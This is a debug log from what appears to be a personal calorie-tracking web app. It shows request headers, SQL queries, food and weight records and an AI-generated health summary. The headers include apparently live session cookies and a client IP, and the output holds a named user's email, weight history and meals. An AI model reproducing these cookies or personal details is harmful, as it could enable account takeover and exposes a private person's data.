    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-21T08:09:20.365Z server-connect:app Executing action step identify
2025-12-21T08:09:20.365Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:20.365Z server-connect:output identity: 1
2025-12-21T08:09:20.699Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-21T08:09:20.701Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-21T08:09:20.702Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-21T08:09:20.702Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T08:09:20.703Z server-connect:app Executing action step identify
2025-12-21T08:09:20.703Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:20.703Z server-connect:output identity: 1
2025-12-21T08:09:20.703Z server-connect:app Executing action step restrict
2025-12-21T08:09:20.703Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T08:09:20.703Z server-connect:app Executing action step identify
2025-12-21T08:09:20.703Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:20.703Z server-connect:output identity: 1
2025-12-21T08:09:20.703Z server-connect:app Executing action step restrict
2025-12-21T08:09:20.703Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T08:09:20.704Z server-connect:app Executing action step identify
2025-12-21T08:09:20.704Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:20.704Z server-connect:output identity: 1
2025-12-21T08:09:20.704Z server-connect:app Executing action step restrict
2025-12-21T08:09:20.704Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T08:09:20.705Z server-connect:app Executing action step identify
2025-12-21T08:09:20.705Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:20.705Z server-connect:output identity: 1
2025-12-21T08:09:20.705Z server-connect:app Executing action step restrict
2025-12-21T08:09:20.705Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:20.705Z server-connect:output restrict: undefined
2025-12-21T08:09:20.705Z server-connect:app Executing action step single
2025-12-21T08:09:20.705Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T08:09:20.707Z server-connect:output restrict: undefined
2025-12-21T08:09:20.707Z server-connect:app Executing action step single
2025-12-21T08:09:20.707Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-21T08:09:20.707Z server-connect:output restrict: undefined
2025-12-21T08:09:20.707Z server-connect:app Executing action step select
2025-12-21T08:09:20.707Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-21T08:09:20.708Z server-connect:output restrict: undefined
2025-12-21T08:09:20.708Z server-connect:app Executing action step single
2025-12-21T08:09:20.708Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-21T08:09:20.708Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "Today's food intake provided a good protein boost from the whey supplement, which aligns well with your muscle development goal. The meal composition appears balanced with carbohydrates and fats. Consistent early morning gym sessions are a positive factor for your fitness journey. Continued adherence to this routine should support your progress.",
    bad_points: [
      'More variety in vegetables could enhance nutrient intake.',
      'Fiber content might be suboptimal without additional sources.'
    ],
    good_points: [
      'Whey protein intake supports muscle development.',
      'Meals seem to offer a mix of macronutrients.',
      'Consistent gym attendance is noted.'
    ],
    suggestions: [
      'Incorporate a wider range of vegetables in your meals.',
      'Consider adding a source of healthy fats, like nuts or seeds, to a meal.',
      'Ensure adequate hydration throughout the day.'
    ],
    predicted_weight: 69.6,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-20T18:30:00.000Z'
}
2025-12-21T08:09:20.709Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-21T08:09:20.710Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-21T08:09:20.710Z server-connect:app Executing action step select
2025-12-21T08:09:20.710Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-21T08:09:20.712Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-21T08:09:20.713Z server-connect:output item_list: [
  {
    id: 473,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Aalo Matar Ghughri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving',
    replacements: 'Aalo Matar Ghughri with less oil,Steamed vegetables with a side of lean protein,Lentil soup (dal) with vegetables',
    created_at: '2025-12-20T22:31:45.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, traditional preparations can be high in oil. For muscle development, focusing on higher protein and lower fat options might be more beneficial, especially if consumed frequently. However, in moderation, it's an acceptable dish."
  },
  {
    id: 474,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 24,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 30g, typical serving size)',
    replacements: 'Casein protein (slower digestion, good for overnight),Egg white protein,Plant-based protein (pea, rice, soy - may have different amino acid profiles)',
    created_at: '2025-12-21T00:05:05.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout. High in protein and low in carbs/fat.'
  },
  {
    id: 475,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Roti',
    calories: 400,
    protein_gm: 12,
    carbs_gm: 80,
    fat_gm: 4,
    quantity: '4',
    replacements: 'Multigrain roti,Jowar roti,Bajra roti,Quinoa roti',
    created_at: '2025-12-21T01:36:48.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, especially with whole wheat. For muscle development, whole grains are beneficial.'
  },
  {
    id: 476,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 150,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 10,
    quantity: '1 serving (approx 150g)',
    replacements: 'Baingan Bharta (less oil),Steamed vegetables,Lauki Sabji (bottle gourd curry)',
    created_at: '2025-12-21T01:36:48.000Z',
    skip_level: 1,
    skip_reason: "Eggplant is a good source of fiber and nutrients. The calorie content depends heavily on the oil used. If prepared with minimal oil, it's a healthy addition."
  },
  {
    id: 477,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 52,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 5,
    quantity: '2 full pieces (approx 8g)',
    replacements: 'Almonds (slightly lower in calories per gram),Pistachios (lower in calories per gram),Edamame (protein-rich, lower calorie snack)',
    created_at: '2025-12-21T02:39:19.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and fiber, beneficial for muscle development and overall health.'
  }
]
2025-12-21T08:09:20.713Z server-connect:app Executing action step setvalue
2025-12-21T08:09:20.713Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-21T08:09:20.713Z server-connect:output var_total: 972
2025-12-21T08:09:20.713Z server-connect:app Executing action step setvalue
2025-12-21T08:09:20.713Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-21T08:09:20.713Z server-connect:output var_consumed: 41
2025-12-21T08:09:20.713Z server-connect:app Executing action step setvalue
2025-12-21T08:09:20.713Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-21T08:09:20.714Z server-connect:output var_deficit: 1428
2025-12-21T08:09:20.714Z server-connect:app Executing action step custom
2025-12-21T08:09:20.714Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-21T08:09:20.715Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  }
]
2025-12-21T08:09:21.224Z server-connect:app Executing action step identify
2025-12-21T08:09:21.224Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:21.225Z server-connect:output identity: 1
2025-12-21T08:09:23.878Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-21T08:09:23.879Z server-connect:app Executing action step identify
2025-12-21T08:09:23.879Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:23.879Z server-connect:output identity: 1
2025-12-21T08:09:23.879Z server-connect:app Executing action step restrict
2025-12-21T08:09:23.879Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T08:09:23.879Z server-connect:output restrict: undefined
2025-12-21T08:09:23.879Z server-connect:app Executing action step select
2025-12-21T08:09:23.880Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-21T08:09:23.881Z server-connect:output items_consumed_today: [
  {
    id: 473,
    item_name: 'Aalo Matar Ghughri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving'
  },
  {
    id: 474,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 24,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 30g, typical serving size)'
  },
  {
    id: 475,
    item_name: 'Roti',
    calories: 400,
    protein_gm: 12,
    carbs_gm: 80,
    fat_gm: 4,
    quantity: '4'
  },
  {
    id: 476,
    item_name: 'Baingan Sabji',
    calories: 150,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 10,
    quantity: '1 serving (approx 150g)'
  },
  {
    id: 477,
    item_name: 'Walnut',
    calories: 52,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 5,
    quantity: '2 full pieces (approx 8g)'
  }
]
2025-12-21T08:09:23.881Z server-connect:app Executing action step paged
2025-12-21T08:09:23.881Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-21T08:09:23.883Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 17,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' }
  ]
}
2025-12-21T08:09:23.883Z server-connect:app Executing action step run
2025-12-21T08:09:23.883Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-21T08:09:23.885Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 473 | Aalo Matar Ghughri | 250 | 8 | 35 | 10 | 1 serving |\n' +
